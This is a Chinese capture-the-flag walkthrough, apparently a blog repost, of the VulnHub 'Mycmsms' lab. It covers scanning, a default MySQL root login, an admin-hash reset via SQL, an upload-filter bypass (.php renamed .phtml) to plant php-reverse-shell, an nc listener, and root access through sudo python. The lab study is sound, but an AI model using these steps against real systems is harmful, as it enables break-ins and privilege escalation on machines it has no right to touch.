vulnhub打靶记录——Mycmsms

文章目录

  • 一、环境布置
    • 主机发现
  • 二、端口扫描
    • nikto基本探测
    • 目录扫描
    • CMS EXP搜索
    • 探查mysql数据库
    • CMS代码审计
    • CMS后台
    • 权限提升

一、环境布置

靶机在virtualbox中搭建，攻击机使用vmware中安装的kali，主要是解决kali能ping通靶机，同时能访问外网。
解决方法；VirtualBox(Host only)和VMware共用同一虚拟网卡
需要注意的是靶机IP怎么获取？开启靶机后，靶机会自动显示ip地址。
在这里插入图片描述
192.168.56.1并不是靶机的ip地址，而是主机（本机，物理机）在该局域网下的IP地址，同时需要启用DHCP服务器来让kali再该封闭式局域网（only-host）中获取一个IP地址。
在这里插入图片描述
在该host模式的局域网下，主机（192.168.56.1）可以ping通靶机（192.168.56.103）和kali（192.168.56.101），但是kali（192.168.56.101）不能ping通主机（192.168.56.1）。
在这里插入图片描述

在这里插入图片描述
故所有设备IP（Only-host）如下：

  • 靶机IP：192.168.56.103
  • kaliIP：192.168.56.101

主机发现

也可以用nmap进行主机发现，主要是对only-host模式下的局域网进行主机发现，命令如下：

nmap -sP 192.168.56.0/24 # 对192.168.56网段进行扫描

在这里插入图片描述

  • 192.168.56.1：主机IP；
  • 192.168.56.100：DHCP服务器IP；
  • 192.168.56.101：Kali IP；
  • 192.168.56.103：靶机IP。

二、端口扫描

nmap -p- -sV -A 192.168.56.103

-p-：代表扫描所有端口，从1-65535，默认进行TCP扫描；
-sV：探测服务/版本信息;
-A：启动OS检测，版本检测，脚本扫描和traceroute。简单来说，输出更加详细的日志信息。

在这里插入图片描述

没有-A参数的扫描结果，也就是命令nmap -p- -sV 192.168.56.103
在这里插入图片描述

整理出nmap扫描的重要信息，并保存到scan.txt中
在这里插入图片描述

这里可以看到该靶机开放了ssh服务（22端口）、web服务（80端口）、mysql数据库服务（3306）.

针对80端口的web渗透，通常：

  • 使用nikto进行基本的漏洞探测；
  • 目录扫描，发现更多网站路径。

nikto基本探测

使用nikto对web服务做基本的探测，命令如下:

	nikto -host http://192.168.56.103

扫描结果如下，nikto除了检测漏洞信息，也有进行目录扫描（如扫出./phpinfo.php、./config.php等）。

在这里插入图片描述

一般情况下，phpinfo.php是不会被看到的，在某些src平台泄露phpinfo甚至算低危漏洞。

目录扫描

目录扫描，命令如下：

	dirsearch -u http://192.168.56.103 -w ./directory-list-2.3-medium.txt -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

-w：爆破所用字典的位置，包含多个字典可用,分割，字典使用SeclLists
-e：站点文件类型列表，如php、js、html等。

扫描结果如下：在这里插入图片描述

发现用dirsearch默认的字典跑出来结果还多些，真是栓Q~
在这里插入图片描述

简单说一下http状态码的含义：

  • 2XX：成功状态，表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功。
  • 3XX：重定向，表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向。
  • 4XX：客户端错误，表示客户端的请求存在错误，导致服务器无法处理。401表示需要身份验证，403表示禁止访问。

打开http://192.168.56.103/phpmyadmin，发现需要登录，这里可以尝试弱口令爆破，先不尝试，看看后面有啥
在这里插入图片描述
打开http://192.168.56.103/config.php发现空白，可以尝试用命令行访问是不是真的空白，命令如下：curl -i -L http://192.168.56.103/config.php

-i：打印出服务器回应的 HTTP 标头。
-L：会让 HTTP 请求跟随服务器的重定向。curl默认不会跟随重定向。

在这里插入图片描述
在这里插入图片描述
打开http://192.168.56.103/config.php，尝试SQL注入，使用万能密码登录。发现不行，过滤符号😖😖😖
在这里插入图片描述
不过，这里可以发现该网站使用CMS搭建，CMS版本为CMS Made Simple😆😆😆
在这里插入图片描述

CMS EXP搜索

知道了CMS，就可以用searchsploit去找该CMS是否有漏洞，命令如下：

searchsploit cms made simple

searchsploit是一个用于Exploit-DB的命令行搜索工具，就是kali本地会有一个漏洞库，漏洞库里的数据来自Exploit-DB，searchsploit是漏洞搜索脚本。

在这里插入图片描述
目前CMS版本未知，只能挨个去尝试，重点关注RCE漏洞。这里尝试使用2.1.6 Remote Code Execution

searchsploit -m 44192.txt # exp复制到单独的文件夹

在这里插入图片描述
该exp需要访问/cms文件夹，网站都没这个目录，不太行，再尝试别的。网站这块搞不定了，只能到这儿了，换下别的思路😅😅😅

探查mysql数据库

当详细输出下面这类信息的时候，说明mysql允许远程连接mysql数据库。
在这里插入图片描述
尝试弱口令和默认用户名密码来连接mysql数据库~，命令如下：

mysql -h 192.168.56.103 -uroot -p # 尝试空密码、root密码

用户名和密码都是root☺️☺️☺️

在这里插入图片描述
在cms_users中发现了后台用户名、密码（经过MD5加密，32位），尝试暴力破解，发现不行😒😒😒。可以继续尝试更新admin用户的密码。

在这里插入图片描述

echo -n 123456 | md5sum # 计算123456的MD5值//update命令用法
update table_name set column1 = value1 where condition;
update cms_users set password = '<md5值>' where username = 'admin'; # 实际环境中最好不要使用update命令
  • echo -n：表示不换行输出，默认会将\n（换行符）送给下一个命令；
  • 管道符|，A | B表示命令A的结果为命令B的输入。

在这里插入图片描述
回到http://192.168.56.103/config.php，使用更新后的密码进行登陆，发现登录不成功，G
在这里插入图片描述

登录不成功有以下几个原因：

  1. 使用的算法不是MD5；
  2. 对密码进行了特殊处理。

接下来，去找CMS Made Simple的源码，分析加密方法。cms源码下载
在这里插入图片描述

trunk文件夹包含代码主干信息。

CMS代码审计

要想知道cms是怎样对明文进行加密的，我们需要找到登录时候的代码，在这个cms中就是login.php。大概看下逻辑，如下图，如果登录取消就怎么怎么样，如果登录提交就怎么怎么，重点就是else if后面的代码，首先是判断post传参中的username和password，如果存在就赋值给$username和$password，认证代码肯定是调用的外部函数，再加上相关注释，验证代码应该在LoadUserByUsername中。
在这里插入图片描述
在LoadUserByUsername中，当password != ''时，在password前面拼接了一段字符串，再进行md5加密。
在这里插入图片描述
找到get_site_preference()函数，发现是调用cms_siteprefs中的静态方法get来得到那串字符串。

cms_siteprefs::get中的::代表调用静态方法。

在这里插入图片描述
转到cms_siteprefs的get方法，以当前类为参数去调用global::get，大概意思应该是在全局缓存中以当前类名为参数进行查询，$prefs[$key]不为空，就返回$prefs[$key]，否则就返回空。
在这里插入图片描述
转到global::get，根据return的值，可以发现最终返回的是$_cache中的内容，而$_cache的值是来自于$_type。而$_type是通过函数add_cachable()来获得的。

在这里插入图片描述
在cms_siteprefs的setup方法中调用了global_cache的add_cachable方法，大致意思就是变量$obj的值来源于静态方法read，read方法是执行了SQL语句来获取相关内容并赋值给变量$_prefs。总的来说，我们需要的$prefs[$key]来源于这个SQL语句的结果。
在这里插入图片描述
根据SQL语句，查询的表名应该是带有site_prefs字符串的表名，可以看到数据库中只有cms_siteptrefs这个表。

在这里插入图片描述

show create table cms_siteprefs; # 查看表的创建过程
desc cms_siteprefs; # 查看表的结构

在这里插入图片描述
我们需要的$prefs[$key]这个值，$prefs来源于cms_prefs这个表，而$key='sitemask'，然后根据$_prefs[$row['sitepref_name']] = $row['sitepref_value'];，可以推测出sitemask应该归属于列名sitepref_name，故构造SQL语句：

select * from cms_siteprefs where sitepref_name='sitemask';

在这里插入图片描述
芜湖~，拼接上这个值再进行md5加密就可以更改管理员密码了

echo -n <值> | md5sum # 计算123456的MD5值//update命令用法
update table_name set column1 = value1 where condition;
update cms_users set password = '<md5值>' where username = 'admin'; # 实际环境中最好不要使用update命令

在这里插入图片描述
在这里插入图片描述
使用密码登录CMS后台~
在这里插入图片描述

CMS后台

渗透测试的目标是登录远程主机，并且获得root权限，目前只是获得了web服务的权限。在后台重点找文件上传点。文件上传的目的是上传一个恶意脚本，来拿下这台主机，来达到一个效果：我们在本地输入命令，终端会执行输入的命令（也就是将终端的conmand reverse 到本地）。那么上传什么样的脚本呢？该脚本的功能就是将终端的命令行能reverse到本地。找一个php reverse脚本：php-reverse-shell，可以使用git clone命令进行脚本下载。

:set number # vim中对每一行添加行号
# 更改ip和端口
$ip = '192.168.56.101';
$port = '4444';

在这里插入图片描述
在这个上传点进行文件上传，上传php-reverse-shell.php这个脚本，发现不成功。文件上传失败的原因有：可能限制后缀名。这里就需要使用一些绕过技巧~

在这里插入图片描述

在php开发中，纯php代码的文件后缀一般是.php，纯html代码的文件后缀一般为.html，php代码和html代码混合的文件后缀一般为.phtml。

这里可以试着将原文件的后缀.php改为.phtml再上传，上传成功~
在这里插入图片描述
监听本地4444端口，浏览器执行上传的shell文件，反弹shell。

nc -nlvp 4444

-n：直接使用IP地址，而不通过域名服务器；
-l：llisten，监听模式；
-v：显示指令执行过程；
-p：port，端口。

在这里插入图片描述

权限提升

登录到主机后，做以下事情：
1、 到home目录下看有哪些用户有自己的目录，即，哪些用户能登录该主机；

ls -al; # l代表以列表的形式进行输出；a查看隐藏文件

在这里插入图片描述
这里只是发现binary.sh是一个具备SUID权限的程序，简单来说就是，所有用户均可执行具备SUID权限的程序，在执行过程中，执行者将拥有程序所有者的权限。

2、搜索具备SUID权限的程序，命令如下：

find / -perm -u=s -type f 2>/dev/null

find语法：find [path] [expression]
-perm：按照文件权限来查找文件。
-type：按文件类型查找，可以是 f（普通文件）、d（目录）、l（符号链接）等。
2>/dev/null： 错误输出不显示在屏幕上

在这里插入图片描述

这里发现了这么多Set UID的文件，可以尝试sudo提权。（还不太理解，先看别人怎么做~）

cd /var/www/html/admin # 进入网站的admin文件夹下
ls -al # 查看该文件夹下的所有文件，发现一个带有password的隐藏文件

在这里插入图片描述

cat .htpasswd
echo '<值>' | base64 -d # 对值进行解码，-d就是解码，不要-d就是base64加密

在这里插入图片描述

看到字符串中含有大小写字母、=，可能是经过了base64编码。

这里获取到了armour用户的密码。当拿到一个用户名和密码登录到系统的时候，第一件事是看这个用户有没有sudo的权限！

su armour # 变更用户为armour
sudo -l # 查看当前用户的权限，主要就是看该用户在运行某个脚本时能不能以root用户去运行。
sudo -i # 使当前用户长时间拥有root用户权限

在这里插入图片描述
可以发现，当前armour用户当使用sudo执行python脚本时，会以root权限运行且无密码。那么可以使用python来获取root用户的shell。反弹Shell升级为交互式Shell、python

sudo python -c 'import os;os.system("/bin/bash")' # 获取普通shell
sudo python -c 'import pty; pty.spawn("/bin/bash")'  # 获取半交互式shell# 获取交互式shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color

在这里插入图片描述
最后拿到flag，所有的flag都在/root/proof.txt

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/762833.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Qt扫盲-D-Bus调试工具

Qt扫盲-D-Bus调试工具

D-Bus调试工具 一、概述二、安装d-feet三、使用d-feet 一、概述 在调试D-Bus时&#xff0c;如果只是在命令行下使用&#xff0c;效率并不是很高&#xff0c;我们可以使用更加直观的GUI工具来查看&#xff0c;我推荐使用 d-feet工具&#xff0c;这个能直观的查看系统总线和会话…
阅读更多...
企业异地组网的挑战与解决方案

企业异地组网的挑战与解决方案

在当今互联的商业环境中&#xff0c;建立跨越不同地点的网络变得至关重要。本文将探讨企业异地组网的复杂性&#xff0c;并提供实用解决方案以应对这些挑战。通过了解创新技术如SD-WAN和网络安全措施&#xff0c;确保企业异地组网在性能和数据完整性方面的最佳表现。 由于距离和…
阅读更多...
用例图画法

用例图画法

介绍 在软件工程中&#xff0c;用例图是一种用于描述系统功能和与之交互的参与者&#xff08;Actors&#xff09;之间关系的图形表示方法。 绘图步骤 确定参与者&#xff08;Actors&#xff09;&#xff1a;识别系统中的各个参与者&#xff0c;这些参与者可以是人、其他系统或外…
阅读更多...
unity学习（63）——预制体

unity学习（63）——预制体

1.运行发现预制体初始化的时候存在问题 这里有许多技巧&#xff0c;需要细看。 2.预制体在MapHandler.cs的定义如下 3.把MapHandler绑到相机上&#xff0c;在相机的属性栏中找到赋值部分。 4.size设置成2&#xff0c;然后把模型拖拽到1号索引位置上 5.运行之后预制体确实成功实…
阅读更多...
【实例】React 状态管理库 MobX Redux 入门及对比

【实例】React 状态管理库 MobX Redux 入门及对比

上一篇&#xff1a;【实例】React 组件传值方法: Props、回调函数、Context、路由传参 MobX MobX 是一个状态管理库&#xff0c;它提供了一种响应式的数据流方案&#xff0c;使得状态的变化能够自动地反映到相关的组件中。 MobX 的核心理念是可观察的状态&#xff08;Observa…
阅读更多...
思科无线控制器配置学习

思科无线控制器配置学习

文章目录 简单拓扑WLC配置 简单拓扑 WLC配置 WLC#show running-config Building configuration...Current configuration : 11943 bytes ! ! Last configuration change at 16:22:44 UTC Thu Mar 14 2024 by admin ! version 17.9 service timestamps debug datetime msec se…
阅读更多...
鸿蒙一次开发，多端部署（七）响应式布局

鸿蒙一次开发，多端部署（七）响应式布局

自适应布局可以保证窗口尺寸在一定范围内变化时&#xff0c;页面的显示是正常的。但是将窗口尺寸变化较大时&#xff08;如窗口宽度从400vp变化为1000vp&#xff09;&#xff0c;仅仅依靠自适应布局可能出现图片异常放大或页面内容稀疏、留白过多等问题&#xff0c;此时就需要借…
阅读更多...
农业四情监测系统的工作原理

农业四情监测系统的工作原理

农业四情监测系统的工作原理【TH-Q1】农业四情监测系统是一种应用现代科技手段&#xff0c;以实现对农田环境信息的实时监测和数据采集的系统。这一系统通过对农田的土壤、气象、病虫害以及作物生长状况等四个方面的实时监测&#xff0c;帮助农民和农业管理者更好地了解和掌握农…
阅读更多...
网络: 传输层

网络: 传输层

功能: 将数据从发送到传给接收端 UDP 无连接状态: 知道对端的IP和端口号就直接进行传输, 不需要建立连接不可靠: 没有确认机制, 没有重传机制. 出错不会管面向数据包: 不能够灵活的控制读写数据的次数和数量 发送速度快: 立即发送 报文结构 TCP 面向连接可靠 校验和序列号(按…
阅读更多...
测试框架到底是什么，如何定义？

测试框架到底是什么，如何定义？

测试框架的关键组件是什么&#xff1f; 测试执行引擎&#xff1a;协调测试的运行、管理序列和报告结果。 测试脚本存储库&#xff1a;存储将要执行的实际测试用例或脚本。 测试数据&#xff1a;测试执行所需的输入数据&#xff0c;可以是静态的、动态的或动态生成的。 存根和…
阅读更多...
十四届蓝桥杯 冶炼金属（二分 / 公式）

十四届蓝桥杯 冶炼金属（二分 / 公式）

二分代码1&#xff1a; #include<iostream> #include<cstdio> #include<cmath> using namespace std;int get(int a, int b){int l1;r1e91;while(l<r){int mid lr >>1;if(a / mid < b){r mid;}else l mid 1;}return l; } int main() {int n…
阅读更多...
【机器学习】基于机器学习的分类算法对比实验

【机器学习】基于机器学习的分类算法对比实验

摘要 基于机器学习的分类算法对比实验 本论文旨在对常见的分类算法进行综合比较和评估&#xff0c;并探索它们在机器学习分类领域的应用。实验结果显示&#xff0c;随机森林模型在CIFAR-10数据集上的精确度为0.4654&#xff0c;CatBoost模型为0.4916&#xff0c;XGBoost模型为…
阅读更多...
Obsidian+PicGo+Gitee搭建免费图床

Obsidian+PicGo+Gitee搭建免费图床

之前使用PicGoGitee配合Typora&#xff0c;后来因为换电脑Typora管理笔记不方便&#xff0c;换到Obsidian笔记&#xff0c;此处记录重新搭建图床的坑与经验。 主要参考# picGogitee搭建Obsidian图床&#xff0c;实现高效写作&#xff01; 1 下载安装PicGo 下载链接https://mo…
阅读更多...
u盘表格不小心删除怎么恢复数据,u盘误删的表格怎么找回

u盘表格不小心删除怎么恢复数据,u盘误删的表格怎么找回

u盘表格不小心删除怎么恢复数据？当我们使用U盘存储重要数据时，不小心删除文件或者整个表格可能会导致数据的丢失。这种情况下，我们需要采取一些措施来恢复被删除的数据。u盘误删的表格怎么找回？幸运的是，有一些方法可以帮助我们恢复U盘中的数据，即使它们被删除了。在本文…
阅读更多...
球面数据的几何深度学习--球形 CNN

球面数据的几何深度学习--球形 CNN

目录 一、说明二、球形 CNN概述三、球面数据的对称性四、标准&#xff08;平面&#xff09;CNN的局限性五、卷积并发症六、球面卷积七、球面卷积是不够的 一、说明 球面数据的几何深度学习–球形 CNN。通过对物理世界的平移对称性进行编码&#xff0c;卷积神经网络 &#xff…
阅读更多...
备战2024年中学生古诗文大会（初中组）：单选题真题和独家解析

备战2024年中学生古诗文大会（初中组）：单选题真题和独家解析

今天我们继续来做中学生古诗文大会&#xff08;初中组&#xff09;——简称初中生古诗文大会的一些真题&#xff0c;让大家了解初中生古诗文大会的考察内容和形式&#xff0c;并且提供了我独家的题目解析和答案&#xff0c;供初中的同学们学习和参考。 有一些朋友问中学生古诗…
阅读更多...
软考机考新模式，有什么影响？

软考机考新模式，有什么影响？

关于软考考试改机考的影响&#xff0c;初步预测可能会有以下几个影响&#xff1a; 1、需要掌握的基础知识要求更高 机考可能导致每个人的题目不同&#xff0c;因此需要更扎实地掌握基础知识&#xff0c;认真备考每个知识点&#xff0c;核心分值可能会全部打散&#xff0c;不能…
阅读更多...
2024-3-21-Qtday2作业

2024-3-21-Qtday2作业

要求&#xff1a; 自由发挥登录窗口的应用场景&#xff0c;实现一个登录窗口界面。&#xff08;不要使用课堂上的图片和代码&#xff0c;自己发挥&#xff0c;有利于后面项目的完成&#xff09; 要求&#xff1a; 1. 需要使用Ui界面文件进行界面设计 2. ui界面上的组件相关…
阅读更多...
外腔激光器（ECL）市场发展空间大 外腔半导体激光器（ECDL）是主要产品类型

外腔激光器（ECL）市场发展空间大 外腔半导体激光器（ECDL）是主要产品类型

外腔激光器&#xff08;ECL&#xff09;市场发展空间大 外腔半导体激光器&#xff08;ECDL&#xff09;是主要产品类型 外腔激光器&#xff08;ECL&#xff09;&#xff0c;是一种利用外腔进行光反馈的激光器。根据新思界产业研究中心发布的《》2024-2029年中国外腔激光器&…
阅读更多...
docker快速安装达梦数据库

docker快速安装达梦数据库

docker快速安装达梦数据库 文章目录 docker快速安装达梦数据库前言环境准备下载镜像运行、配置容器 前言 因为公司需要将自己的底代码平台与客户的需求做适配&#xff0c;客户要求必须满足信创要求&#xff0c;使用达梦数据库。所以需要将原有的MySQL数据库与达梦数据库适配&a…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023